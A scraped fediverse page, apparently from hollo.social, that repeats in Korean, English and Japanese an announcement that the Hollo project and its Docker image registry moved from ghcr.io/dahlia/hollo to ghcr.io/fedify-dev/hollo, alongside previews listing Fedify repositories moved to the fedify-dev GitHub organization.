#Hollo 저장소가 [@dahlia/hollo]에서 [@fedify-dev/hollo]로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 [ghcr.io/dahlia/hollo]에서 [ghcr.io/fedify-dev/hollo]로 이전되었습니다. 기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다. Docker 설정을 다음과 같이 변경해 주세요: - 기존 이미지 주소: `ghcr.io/dahlia/hollo:latest` - 새 이미지 주소: `ghcr.io/fedify-dev/hollo:latest` 이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo: #fediverse #페디버스 #연합우주 #도커 [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.
기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.
Docker 설정을 다음과 같이 변경해 주세요:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latest이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。
旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。
Dockerの設定を以下のように更新してください:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestこの移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 
#Hollo #fediverse #フェディバース #Docker #ドッカー
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.
기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.
Docker 설정을 다음과 같이 변경해 주세요:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latest이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
Sharing an important update about #Hollo: we've moved our repository to a new home! If you're using Hollo with #Docker, please check this announcement:
https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd
hollo.social
The #Hollo repository has moved from [@dahlia/hollo] to [@fedify-dev/hollo]! Along with this move, our #Docker image registry has also been relocated from [ghcr.io/dahlia/hollo] to [ghcr.io/fedify-dev/hollo]. While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address. To update your Docker configurations, please change: - From: `ghcr.io/dahlia/hollo:latest` - To: `ghcr.io/fedify-dev/hollo:latest` The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo: #fediverse [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.
기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.
Docker 설정을 다음과 같이 변경해 주세요:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latest이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
Sharing an important update about #Hollo: we've moved our repository to a new home! If you're using Hollo with #Docker, please check this announcement:
https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd
hollo.social
The #Hollo repository has moved from [@dahlia/hollo] to [@fedify-dev/hollo]! Along with this move, our #Docker image registry has also been relocated from [ghcr.io/dahlia/hollo] to [ghcr.io/fedify-dev/hollo]. While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address. To update your Docker configurations, please change: - From: `ghcr.io/dahlia/hollo:latest` - To: `ghcr.io/fedify-dev/hollo:latest` The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo: #fediverse [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.
기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.
Docker 설정을 다음과 같이 변경해 주세요:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latest이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。
旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。
Dockerの設定を以下のように更新してください:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestこの移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 
#Hollo #fediverse #フェディバース #Docker #ドッカー
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
